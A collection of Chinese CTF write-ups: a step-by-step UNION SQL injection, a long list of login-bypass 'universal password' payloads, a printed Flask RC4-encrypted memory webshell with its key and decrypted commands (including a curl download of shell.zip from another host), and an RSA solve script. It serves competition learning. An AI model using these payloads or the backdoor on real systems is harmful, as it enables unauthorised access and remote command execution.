select查询后 会返回一个table。Table有行和列,列代表属性,行代表数据。 order by 可以根据属性(列名)进行排序,也可以直接按列序号排序。如果列序号不存在会报错。如果ORDER BY 3正确,ORDER BY 4却报错,即可确认查询结果表中有3列。 注入exp: ?username=admin’ order by 1 – &password= ?username=admin’ order by 2 – &password= ?username=admin’ order by 3 – &password= 发现3时报错,说明返回表中有2列。
2 确定可显示列
SQL查询返回的所有列,不一定都会显示在网页上,需要确认哪些列可以显示从而被我们看到. 尝试: ?username=’ union select 1,2 – &password= 发现回显为1 ?username=’ union select 2,1 – &password= 发现回显为2,那么可显示列就是查询结果的第一列。
这里注意 要让我们原本查询结果为空 否则如果查出值(比如这个题会回显admin)可能覆盖我们后面想要查出的值。如果用?username=admin’ union select 2,1 – &password=,会发现返回结果是admin 此外 select不仅可以从表里查,还可以查询常量,这里就是利用了查询常量的特性。举个例子:
接下来我们需要查看user里表的名字。 MySQL数据库的元数据库information_schema记录了所有数据库、表、字段的名字。 ‘ union SELECT table_name,2 FROM information_schema.tables WHERE table_schema=’user’ – 发现回显为flag,可以对这个表进行查询
然而,一个数据库可能有多个表,SELECT会返回多行,使用group_concat()包裹即可输出成一行。 ‘ union SELECT group_concat(table_name),2 FROM information_schema.tables WHERE table_schema=’user’ –
这样的话回显就是flag和users了,说明有两个表
5 查表读数据
‘ union SELECT *,2 FROM flag – *是通配符 会自行展开成表中的属性 这里的2用来站位。 需要注意 这里如果select 1,2 from flag 其含义不是select第一列属性和第二列属性,而是会返回一个行数与flag相同 每行数据均为1,2的表 flag为: moectf{UnlOn_64S3d-SQII-FtW!1185c23d8b}
SQL注入 发现传递参数为: /?username=&password= 可以直接使用万能密码 /?username=&password=’ or 1=’1 moectf{WeLC0ME-T0-5qL-injecTlONl11225d42a}
一些SQL知识:优先级关系:or<and<not,同一优先级默认从左往右计算。 比如,对于: SELECT * FROM admin WHERE Username= ‘“.$username.”‘ AND Password= ‘“.md5($password).”‘ 输入 1′ or 1=1 or ‘1’=’1万能密码语句变为:SELECT * FROM admin WHERE Username=’1’ OR 1=1 OR ‘1’=’1’ AND Password=’EDFKGMZDFSDFDSFRRQWERRFGGG’
and优先级高,先算’1’=’1’ AND Password=’EDFKGMZDFSDFDSFRRQWERRFGGG’,为0 然后是Username=’1’ 为0 1=1 为1 最后就是0 or 1 or 0 一些万用:
' or 1='1 'or'='or' admin admin'-- admin' or 4=4-- admin' or '1'='1'-- admin888 "or "a"="a admin' or 2=2# a' having 1=1# a' having 1=1-- admin' or '2'='2 ')or('a'='a or 4=4-- c a'or' 4=4-- "or 4=4-- 'or'a'='a "or"="a'='a 'or''=' 'or'='or' 1 or '1'='1'=1 1 or '1'='1' or 4=4 'OR 4=4%00 "or 4=4%00 'xor admin' UNION Select 1,1,1 FROM admin Where ''=' 1 -1%cf' union select 1,1,1 as password,1,1,1 %23 1 17..admin' or 'a'='a 密码随便 'or'='or' 'or 4=4/* something ' OR '1'='1 1'or'1'='1 admin' OR 4=4/* 1'or'1'='1 asp aspx万能密码 1:”or “a”=”a 2: ‘)or(‘a’=’a 3:or 1=1– 4:’or 1=1– 5:a’or’ 1=1– 6:”or 1=1– 7:’or’a’=’a 8:”or”=”a’=’a 9:’or”=’ 10:’or’=’or’ 11: 1 or ‘1’=’1’=1 12: 1 or ‘1’=’1’ or 1=1 13: ‘OR 1=1%00 14: “or 1=1%00 15: ‘xor 16: 用户名 ’ UNION Select 1,1,1 FROM admin Where ”=’ (替换表名admin) 密码 1 17…admin’ or ‘a’=’a 密码随便 PHP万能密码 ‘or 1=1/* User: something Pass: ’ OR ‘1’=’1 jsp 万能密码 1’or’1’=’1 admin’ OR 1=1/*
global exc_class global code import os,binascii exc_class, code = app._get_exc_class_and_code(404) RC4_SECRET = b\'v1p3r_5tr1k3_k3y\' def rc4_crypt(data: bytes, key: bytes) -> bytes: S = list(range(256)) j = 0 tfor i in range(256):j = (j + S[i] + key[i % len(key)]) % 256 S[i], S[j] = S[j], S[i] i = j = 0 res = bytearray() for char in data: i = (i + 1) % 256 j = (j + S[i]) % 256 S[i], S[j] = S[j], S[i] res.append(char ^ S[(S[i] + S[j]) % 256]) return bytes(res) def backdoor_handler(): if request.headers.get(\'X-Token-Auth\') != \'3011aa21232beb7504432bfa90d32779\': return "Error" enc_hex_cmd = request.form.get(\'data\') if not enc_hex_cmd: return "" try:enc_cmd = binascii.unhexlify(enc_hex_cmd) cmd = rc4_crypt(enc_cmd, RC4_SECRET).decode(\'utf-8\', errors=\'ignore\') output_bytes = getattr(os, \'popen\')(cmd).read().encode(\'utf-8\', errors=\'ignore\') enc_output = rc4_crypt(output_bytes, RC4_SECRET) return binascii.hexlify(enc_output).decode() except: return "Error" app.error_handler_spec[None][code][exc_class]=lambda error: backdoor_handler()
一个rc4加密的内存马。很明确了,密钥是 v1p3r_5tr1k3_k3y
4
要求找到内存马的名字。
接下来继续看后面的包。根据这个内存马,后面的数据都存在这个data里面。逐个查看data并解密即可知道执行了什么命令。 其分别执行了 id ls -al curl 192.168.1.201:8080/shell.zip -o /tmp/123.zip 这里的下一个http包中就get了一个shell.zip 然后通过打开Hypertext Transfer Protocol,在media type这里导出分组字节流即可获取到压缩包。 或者通过复制as a hex stream的方式放到cycberchef里,然后fromhex 导出也可。注意如果用其他方式复制,可能会导致一些不可显示的数据丢失掉,导致不能正常生成压缩包。
from Crypto.Util.number import * from sympy import nextprime import os from gmpy2 import* n = 10823775490240073819631917849117225946287891171185101059838012738590942083286491895086451201330121282239112048818281379201392391711081928618707509066233928638187019201160301050490769069075313289908655264579328149828347872699697195230421390529843974340674990548004216615592682491515978442178349653549929465663244023757359796216867165844075976331191951027290725012210177449053555588254681079976280745286908897416681478813013297839608241067674026010720343633012556240553683175172988624633735387588606867666858001973089190528295159219227069810517454677330841359125440162677002725561779009788936368150290859696939093099879034996630579194814736517706689658051035296730348668338031728823161338125653461172596730500445378167749498084676295147743704190979584713779480154941790026465774118720519452568935866964502632734126766023547271771741522485702708564882312127253470312413231358374856453986812653197218096126488261909815753848184984064628112603870471377689973632577669755803660286519111642490140982595789903748438781184726565551753915521681764875126384100543905139578572437448873221310081171658381184510994313626085298420060720405712211118973379978497950555404038223284628782496353636937575849667836726918752652643522916609808294676912772669709626282702678281989896980713944961023191040866155298213017019008276602607515680628655918406129027549335549388661763175355900965439242125850380340787177957488885171013738475994880288387184114946910361655893886743701515443028478684376198033356669188403171941244027967567591761268196312412901508832292242743552450482860690493244338059935380601338109164461877746510598646182450038161334450878692284043867773 c = 10660090497301432537437820885848286020311835935260034549173484275959379310864520958356152878610641549326516182239849660339867147213565561569490658510864241912091951711562645132218482839920377179333386420114391233630515012393090359381717875467071280927583120692784917275074532993409388122061004854178182661632604182150765151482558156183912422898613209559942234127025063687928879910292952039316531554812705081695248540209866005563219806997627684236587554109286831877006896470109805219447282525518519161097673276492456094713735029038771812376330352652393029164468202357817665724369560583349301558861453705718562711798522554316893417360531922795446452749685308492123451575279293644339041629468390133378328145993285368218775498976282596017084494092950586275565868969964447619034372770452127643594002885530340353730337577609060573094563836165559288998090805166088888016631981190567474132421889397451224492478175286707362679459528061705122579238644392225558752144211463152201143723558678398331677420261413849490732610210418705205396485108198008618730081560787598535809656356334449123152662358838247968331030455386114998823400263422044625507507829935684490654252473089135735147481428318393546785418776661158864450118169388804900558540117140348002680864998171847298229035444536926030071973643938958868695657994095200366957439503117930474161132984898344356321926977383591037057394861749532205998932840557833372993944408083463060446903121200107227041538939713625198024076302549803852074630498649236538622458710733295489005936281570737839438843387492079285997225293361642946364581369251919661240027265549956890265107036578709824437885345581015267152770 e = 65537 nn = n%(2**414) x=2 q=nn//(x**5) while (1): x+=1 q=nn//(x**5) if(q*(x**5)==nn): p5=n//q if(p5*q==n): break p=gmpy2.iroot(p5,5)[0] phi=(q-1)*(p-1)*p**4 d = inverse(e,phi) m=pow(c,d,n) print(long_to_bytes(m))